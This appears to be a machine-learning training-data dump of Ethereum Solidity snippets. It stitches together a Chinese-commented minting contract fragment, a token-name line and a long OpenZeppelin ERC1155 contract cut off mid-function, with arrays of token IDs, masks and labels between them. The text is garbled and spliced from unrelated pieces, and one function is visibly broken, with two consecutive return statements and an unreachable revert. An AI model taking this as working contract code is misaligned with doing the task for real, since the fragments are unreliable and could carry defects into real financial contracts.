revert(); } } function createTokenToTeam() public onlyAuthorized { require(teamAddress != address(0)); uint16 currentYear = dateTime.getYear(now); require(currentYear == 2018 || currentYear == 2019); _createTokenToTeam(currentYear); } function mined(address recipient, uint _tokens) public onlyAuthorized { require(now > minedTokenStartTime); uint16 currentYear = dateTime.getYear(now); uint currentYearRemainTokens = getCurrentYearRemainToken(currentYear); require(_tokens <= currentYearRemainTokens); minedToken[currentYear] += _tokens; token.mint(recipient, _tokens); Mined(recipient, _tokens); } function authorizedCreateTokensToPrivate(address recipient, uint _tokens) public onlyAuthorized { require(privateToken + _tokens <= privateTokenCap); privateToken += _tokens; token.mint(recipient, _tokens); AuthorizedCreateToPrivate(recipient, _tokens); } function finishMinting() public onlyOwner { token.finishMinting(); token.transferOwnership(owner); PromotionCoinMintFinished(); } //不允许直接转账以太币购买 function () external { revert(); } }
2018年55亿(110亿*0.5),以后逐年减半,到2028年发放剩余的全部
function getCurrentYearMinedTokenCap(uint _currentYear) public view returns(uint) { require(_currentYear <= 2028); if (_currentYear < 2028) { uint divTimes = 2 ** (_currentYear - 2018); uint currentYearMinedTokenCap = firstYearMinedTokenCap.div(divTimes).div(10 ** DICIMALS).mul(10 ** DICIMALS); return currentYearMinedTokenCap; return 10742188 * (10 ** DICIMALS); revert(); } }
13,125,863
[ 1, 21849, 166, 122, 117, 2539, 165, 123, 128, 12, 17506, 165, 123, 128, 20, 18, 25, 13, 176, 125, 239, 165, 124, 103, 166, 243, 241, 170, 227, 243, 166, 122, 117, 166, 234, 242, 166, 240, 237, 176, 125, 239, 166, 235, 113, 18212, 28, 166, 122, 117, 166, 242, 244, 167, 247, 127, 166, 236, 107, 165, 126, 252, 168, 253, 231, 166, 232, 106, 170, 230, 106, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 5175, 5593, 49, 1920, 1345, 4664, 12, 11890, 389, 2972, 5593, 13, 1071, 1476, 1135, 12, 11890, 13, 288, 203, 3639, 2583, 24899, 2972, 5593, 1648, 26599, 28, 1769, 203, 203, 3639, 309, 261, 67, 2972, 5593, 411, 26599, 28, 13, 288, 203, 5411, 2254, 3739, 10694, 273, 576, 2826, 261, 67, 2972, 5593, 300, 14863, 1769, 203, 5411, 2254, 783, 5593, 49, 1920, 1345, 4664, 273, 1122, 5593, 49, 1920, 1345, 4664, 18, 2892, 12, 2892, 10694, 2934, 2892, 12, 2163, 2826, 28295, 14762, 55, 2934, 16411, 12, 2163, 2826, 28295, 14762, 55, 1769, 203, 5411, 327, 783, 5593, 49, 1920, 1345, 4664, 31, 203, 5411, 327, 1728, 5608, 22, 2643, 28, 380, 261, 2163, 2826, 28295, 14762, 55, 1769, 203, 5411, 15226, 5621, 203, 3639, 289, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x404E4066f4409C939f6Bb3D1cCCce0799E70a179/sources/HOPEC.sol
Set the name for display purposes
name = "HOPEC";
2,808,856
[ 1, 694, 326, 508, 364, 2562, 13694, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 508, 273, 315, 7995, 10106, 14432, 4766, 565, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2022-04-24 */ //-------------DEPENDENCIES--------------------------// // File: @openzeppelin/contracts/utils/math/SafeMath.sol // OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: SafeMath is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's + operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's - operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's * operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's / operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's % operator. This function uses a revert * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's - operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's / operator. Note: this function uses a * revert opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's % operator. This function uses a revert * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/security/Pausable.sol // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers whenNotPaused and whenPaused, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by account. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by account. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * onlyOwner, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * onlyOwner functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (newOwner). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (newOwner). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if account is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, isContract will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's transfer: sends amount wei to * recipient, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by transfer, making them unable to receive funds via * transfer. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to recipient, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level call. A * plain call is an unsafe replacement for a function call: use this * function instead. * * If target reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[abi.decode]. * * Requirements: * * - target must be a contract. * - calling target with data must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[functionCall], but with * errorMessage as a fallback revert reason when target reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[functionCall], * but also transferring value wei to target. * * Requirements: * * - the calling contract must have an ETH balance of at least value. * - the called Solidity function must be payable. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[functionCallWithValue], but * with errorMessage as a fallback revert reason when target reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[functionCall], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[functionCall], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[functionCall], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[functionCall], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * interfaceId. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC1155/IERC1155Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155Receiver.sol) pragma solidity ^0.8.0; /** * @dev _Available since v3.1._ */ interface IERC1155Receiver is IERC165 { /** @dev Handles the receipt of a single ERC1155 token type. This function is called at the end of a safeTransferFrom after the balance has been updated. To accept the transfer, this must return bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)")) (i.e. 0xf23a6e61, or its own function selector). @param operator The address which initiated the transfer (i.e. msg.sender) @param from The address which previously owned the token @param id The ID of the token being transferred @param value The amount of tokens being transferred @param data Additional data with no specified format @return bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)")) if transfer is allowed */ function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4); /** @dev Handles the receipt of a multiple ERC1155 token types. This function is called at the end of a safeBatchTransferFrom after the balances have been updated. To accept the transfer(s), this must return bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)")) (i.e. 0xbc197c81, or its own function selector). @param operator The address which initiated the batch transfer (i.e. msg.sender) @param from The address which previously owned the token @param ids An array containing ids of each token being transferred (order and length must match values array) @param values An array containing amounts of each token being transferred (order and length must match ids array) @param data Additional data with no specified format @return bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)")) if transfer is allowed */ function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/token/ERC1155/IERC1155.sol // OpenZeppelin Contracts v4.4.1 (token/ERC1155/IERC1155.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC1155 compliant contract, as defined in the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155 is IERC165 { /** * @dev Emitted when value tokens of token type id are transferred from from to to by operator. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where operator, from and to are the same for all * transfers. */ event TransferBatch( address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values ); /** * @dev Emitted when account grants or revokes permission to operator to transfer their tokens, according to * approved. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type id changes to value, if it is a non-programmatic URI. * * If an {URI} event was emitted for id, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that value will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type id owned by account. * * Requirements: * * - account cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - accounts and ids must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to operator to transfer the caller's tokens, according to approved, * * Emits an {ApprovalForAll} event. * * Requirements: * * - operator cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if operator is approved to transfer account's tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers amount tokens of token type id from from to to. * * Emits a {TransferSingle} event. * * Requirements: * * - to cannot be the zero address. * - If the caller is not from, it must be have been approved to spend from's tokens via {setApprovalForAll}. * - from must have a balance of tokens of type id of at least amount. * - If to refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes calldata data ) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - ids and amounts must have the same length. * - If to refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom( address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC1155/extensions/IERC1155MetadataURI.sol // OpenZeppelin Contracts v4.4.1 (token/ERC1155/extensions/IERC1155MetadataURI.sol) pragma solidity ^0.8.0; /** * @dev Interface of the optional ERC1155MetadataExtension interface, as defined * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP]. * * _Available since v3.1._ */ interface IERC1155MetadataURI is IERC1155 { /** * @dev Returns the URI for token type id. * * If the {id} substring is present in the URI, it must be replaced by * clients with the actual token type ID. */ function uri(uint256 id) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC1155/ERC1155.sol // OpenZeppelin Contracts v4.4.1 (token/ERC1155/ERC1155.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the basic standard multi-token. * See https://eips.ethereum.org/EIPS/eip-1155 * Originally based on code by Enjin: https://github.com/enjin/erc-1155 * * _Available since v3.1._ */ contract ERC1155 is Context, ERC165, IERC1155, IERC1155MetadataURI { using Address for address; // Mapping for token ID that are not able to traded // For reasons mapping to uint8 instead of boolean // so 1 = false and 255 = true mapping (uint256 => uint8) tokenTradingStatus; // Mapping from token ID to account balances mapping(uint256 => mapping(address => uint256)) private _balances; // Mapping from account to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; // Used as the URI for all token types by relying on ID substitution, e.g. https://token-cdn-domain/{id}.json string private _uri; /** * @dev See {_setURI}. */ constructor(string memory uri_) { _setURI(uri_); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC1155).interfaceId || interfaceId == type(IERC1155MetadataURI).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC1155MetadataURI-uri}. * * This implementation returns the same URI for *all* token types. It relies * on the token type ID substitution mechanism * https://eips.ethereum.org/EIPS/eip-1155#metadata[defined in the EIP]. * * Clients calling this function must replace the {id} substring with the * actual token type ID. */ function uri(uint256) public view virtual override returns (string memory) { return _uri; } /** * @dev See {IERC1155-balanceOf}. * * Requirements: * * - account cannot be the zero address. */ function balanceOf(address account, uint256 id) public view virtual override returns (uint256) { require(account != address(0), "ERC1155: balance query for the zero address"); return _balances[id][account]; } /** * @dev See {IERC1155-balanceOfBatch}. * * Requirements: * * - accounts and ids must have the same length. */ function balanceOfBatch(address[] memory accounts, uint256[] memory ids) public view virtual override returns (uint256[] memory) { require(accounts.length == ids.length, "ERC1155: accounts and ids length mismatch"); uint256[] memory batchBalances = new uint256[](accounts.length); for (uint256 i = 0; i < accounts.length; ++i) { batchBalances[i] = balanceOf(accounts[i], ids[i]); } return batchBalances; } /** * @dev See {IERC1155-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC1155-isApprovedForAll}. */ function isApprovedForAll(address account, address operator) public view virtual override returns (bool) { return _operatorApprovals[account][operator]; } /** * @dev See {IERC1155-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes memory data ) public virtual override { require(tokenTradingStatus[id] == 255, "Token is not tradeable!"); require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: caller is not owner nor approved" ); _safeTransferFrom(from, to, id, amount, data); } /** * @dev See {IERC1155-safeBatchTransferFrom}. */ function safeBatchTransferFrom( address from, address to, uint256[] memory ids, uint256[] memory amounts, bytes memory data ) public virtual override { for (uint256 i = 0; i < ids.length; ++i) { require(tokenTradingStatus[ids[i]] == 255, "Token is not tradeable!"); } require( from == _msgSender() || isApprovedForAll(from, _msgSender()), "ERC1155: transfer caller is not owner nor approved" ); _safeBatchTransferFrom(from, to, ids, 